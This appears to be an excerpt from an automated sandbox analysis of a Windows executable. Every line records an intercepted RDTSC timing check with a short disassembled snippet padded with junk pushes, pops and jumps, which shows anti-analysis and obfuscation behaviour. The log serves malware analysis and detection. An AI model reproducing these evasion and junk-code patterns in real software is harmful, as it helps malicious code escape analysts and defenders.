Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9EC14 second address: E9EC26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jnp 00007F8388CACA58h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9EC26 second address: E9EC7F instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007F838920421Eh 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c sub dword ptr [ebp+122D2972h], esi 0x00000012 push 00000004h 0x00000014 xor edi, 6D78F740h 0x0000001a nop 0x0000001b jmp 00007F8389204228h 0x00000020 push eax 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 jmp 00007F8389204228h 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9EC7F second address: E9EC83 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9EC83 second address: E9EC89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9EF89 second address: E9EF93 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007F8388CACA56h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9F2DD second address: E9F2EA instructions: 0x00000000 rdtsc 0x00000002 jns 00007F8389204216h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9F2EA second address: E9F2FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 popad 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c push eax 0x0000000d push edx 0x0000000e push esi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9F2FB second address: E9F300 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9F300 second address: E9F336 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8388CACA69h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b jns 00007F8388CACA5Ah 0x00000011 mov dword ptr [esp+04h], eax 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 jne 00007F8388CACA56h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9F3BA second address: E9F3BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9F3BE second address: E9F416 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push ebp 0x0000000d call 00007F8388CACA58h 0x00000012 pop ebp 0x00000013 mov dword ptr [esp+04h], ebp 0x00000017 add dword ptr [esp+04h], 0000001Ah 0x0000001f inc ebp 0x00000020 push ebp 0x00000021 ret 0x00000022 pop ebp 0x00000023 ret 0x00000024 mov edi, dword ptr [ebp+122D2D5Ah] 0x0000002a lea eax, dword ptr [ebp+12482E6Bh] 0x00000030 mov edi, 768DD127h 0x00000035 push eax 0x00000036 jo 00007F8388CACA6Fh 0x0000003c pushad 0x0000003d jmp 00007F8388CACA61h 0x00000042 push eax 0x00000043 push edx 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9F416 second address: E9F447 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov dword ptr [esp], eax 0x00000008 jmp 00007F838920421Ah 0x0000000d mov edi, ecx 0x0000000f lea eax, dword ptr [ebp+12482E27h] 0x00000015 nop 0x00000016 ja 00007F8389204220h 0x0000001c push eax 0x0000001d pushad 0x0000001e push eax 0x0000001f push edx 0x00000020 push edx 0x00000021 pop edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9F447 second address: E7E5EC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8388CACA67h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ebx 0x0000000a jmp 00007F8388CACA69h 0x0000000f pop ebx 0x00000010 popad 0x00000011 nop 0x00000012 sub edx, dword ptr [ebp+122D3A4Dh] 0x00000018 call dword ptr [ebp+122D2FD8h] 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 push ebx 0x00000023 pop ebx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED2F03 second address: ED2F39 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8389204228h 0x00000007 jbe 00007F838920421Eh 0x0000000d jo 00007F8389204216h 0x00000013 pushad 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b ja 00007F8389204216h 0x00000021 push edi 0x00000022 pop edi 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED2F39 second address: ED2F3D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED2F3D second address: ED2F43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED2F43 second address: ED2F4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b pop esi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED2F4F second address: ED2F65 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F838920421Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a jng 00007F8389204216h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED30B8 second address: ED30C2 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F8388CACA5Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED33D2 second address: ED33DF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 js 00007F8389204216h 0x00000009 push edx 0x0000000a pop edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED353B second address: ED354B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 jl 00007F8388CACA56h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED354B second address: ED3561 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8389204220h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4F581 second address: E4F585 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDA560 second address: EDA567 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDA567 second address: EDA574 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 je 00007F8388CACA62h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDA574 second address: EDA57A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDAADC second address: EDAB10 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8388CACA5Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push edi 0x0000000b jmp 00007F8388CACA65h 0x00000010 pop edi 0x00000011 push esi 0x00000012 je 00007F8388CACA56h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDEFB8 second address: EDEFC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E48C1D second address: E48C2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 jnc 00007F8388CACA56h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E48C2E second address: E48C33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E48C33 second address: E48C44 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F8388CACA5Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E48C44 second address: E48C4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE751B second address: EE7521 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEAE2A second address: EEAE4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jo 00007F8389204216h 0x0000000c jno 00007F8389204216h 0x00000012 jmp 00007F8389204221h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEAE4F second address: EEAE54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEAE54 second address: EEAE5A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEAE5A second address: EEAE6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8388CACA60h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEAE6E second address: EEAE8D instructions: 0x00000000 rdtsc 0x00000002 js 00007F8389204216h 0x00000008 jns 00007F8389204216h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 jmp 00007F838920421Ah 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEAE8D second address: EEAE9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 jo 00007F8388CACA5Ch 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEAE9D second address: EEAEB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007F8389204222h 0x0000000b push edx 0x0000000c pop edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEAEB7 second address: EEAECF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8388CACA5Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEB075 second address: EEB07F instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F8389204216h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEB1FD second address: EEB201 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEB4F1 second address: EEB518 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 js 00007F8389204216h 0x00000009 jmp 00007F8389204226h 0x0000000e pop ecx 0x0000000f pop edx 0x00000010 pop eax 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 push edi 0x00000015 pop edi 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEB518 second address: EEB54E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8388CACA65h 0x00000007 jmp 00007F8388CACA63h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jp 00007F8388CACA56h 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEB54E second address: EEB55B instructions: 0x00000000 rdtsc 0x00000002 jne 00007F8389204216h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEB55B second address: EEB561 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF0AF5 second address: EF0AFF instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F8389204216h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF0AFF second address: EF0B0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jbe 00007F8388CACA56h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF0F02 second address: EF0F06 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF0F06 second address: EF0F0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9EDCE second address: E9EDE8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 je 00007F8389204218h 0x0000000c push edx 0x0000000d pop edx 0x0000000e popad 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 ja 00007F8389204216h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9EDE8 second address: E9EDF6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8388CACA5Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9EDF6 second address: E9EE73 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b mov dword ptr [ebp+1244C5BCh], esi 0x00000011 mov ebx, dword ptr [ebp+12482E66h] 0x00000017 call 00007F8389204228h 0x0000001c xor dword ptr [ebp+122D245Ah], edi 0x00000022 pop edx 0x00000023 add eax, ebx 0x00000025 push 00000000h 0x00000027 push ebx 0x00000028 call 00007F8389204218h 0x0000002d pop ebx 0x0000002e mov dword ptr [esp+04h], ebx 0x00000032 add dword ptr [esp+04h], 0000001Ch 0x0000003a inc ebx 0x0000003b push ebx 0x0000003c ret 0x0000003d pop ebx 0x0000003e ret 0x0000003f push eax 0x00000040 pushad 0x00000041 pushad 0x00000042 push ebx 0x00000043 pop ebx 0x00000044 push edi 0x00000045 pop edi 0x00000046 popad 0x00000047 push eax 0x00000048 push edx 0x00000049 jmp 00007F8389204227h 0x0000004e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF11DE second address: EF11E2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF11E2 second address: EF1201 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F8389204216h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F8389204223h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF1201 second address: EF1223 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F8388CACA5Dh 0x00000008 jg 00007F8388CACA56h 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 pushad 0x00000012 ja 00007F8388CACA56h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF5006 second address: EF5031 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007F8389204221h 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e pop edx 0x0000000f push ecx 0x00000010 pushad 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 pushad 0x00000014 popad 0x00000015 pushad 0x00000016 popad 0x00000017 pushad 0x00000018 popad 0x00000019 popad 0x0000001a pushad 0x0000001b pushad 0x0000001c popad 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF5177 second address: EF519F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8388CACA5Dh 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F8388CACA67h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF52FC second address: EF5337 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F8389204222h 0x00000008 jmp 00007F838920421Bh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F8389204221h 0x00000017 jg 00007F8389204216h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF55F2 second address: EF55F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF58CF second address: EF58E8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F838920421Dh 0x00000007 push eax 0x00000008 push edx 0x00000009 jg 00007F8389204216h 0x0000000f push edi 0x00000010 pop edi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF58E8 second address: EF58EC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFC016 second address: EFC034 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 jnl 00007F8389204216h 0x0000000b push esi 0x0000000c pop esi 0x0000000d pop ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F838920421Eh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFC61B second address: EFC62B instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F8388CACA56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push edx 0x0000000d pop edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFCF26 second address: EFCF2A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFCF2A second address: EFCF2E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFCF2E second address: EFCF76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 jp 00007F8389204216h 0x0000000e pushad 0x0000000f popad 0x00000010 jno 00007F8389204216h 0x00000016 popad 0x00000017 jmp 00007F8389204221h 0x0000001c pushad 0x0000001d pushad 0x0000001e popad 0x0000001f jmp 00007F838920421Bh 0x00000024 push esi 0x00000025 pop esi 0x00000026 popad 0x00000027 push eax 0x00000028 push edx 0x00000029 jmp 00007F838920421Bh 0x0000002e push eax 0x0000002f push edx 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFCF76 second address: EFCF7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFCF7A second address: EFCF80 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F05D8E second address: F05DA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jp 00007F8388CACA62h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F061C0 second address: F061C5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F06644 second address: F06648 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F067D3 second address: F067DD instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F8389204216h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1026B second address: F1028E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jg 00007F8388CACA6Eh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1028E second address: F10295 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F103D6 second address: F10412 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F8388CACA56h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F8388CACA65h 0x00000011 pushad 0x00000012 jmp 00007F8388CACA68h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F10412 second address: F1042D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8389204221h 0x00000009 popad 0x0000000a popad 0x0000000b push eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F10F1E second address: F10F3B instructions: 0x00000000 rdtsc 0x00000002 je 00007F8388CACA56h 0x00000008 jno 00007F8388CACA56h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 jmp 00007F8388CACA5Dh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F10F3B second address: F10F45 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F838920421Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0FE50 second address: F0FE56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F16898 second address: F168A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F8389204216h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F168A2 second address: F168F2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8388CACA67h 0x00000007 jmp 00007F8388CACA66h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F8388CACA62h 0x00000015 jmp 00007F8388CACA5Bh 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F168F2 second address: F1691B instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F8389204216h 0x00000008 jne 00007F8389204216h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push edi 0x00000011 push edi 0x00000012 pop edi 0x00000013 pop edi 0x00000014 jnc 00007F838920421Eh 0x0000001a popad 0x0000001b push eax 0x0000001c push edx 0x0000001d push edx 0x0000001e pushad 0x0000001f popad 0x00000020 pop edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1691B second address: F16920 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1B8FD second address: F1B903 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1B903 second address: F1B90D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F8388CACA56h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1B90D second address: F1B91B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jc 00007F838920421Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1B91B second address: F1B933 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F8388CACA5Eh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1B933 second address: F1B937 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
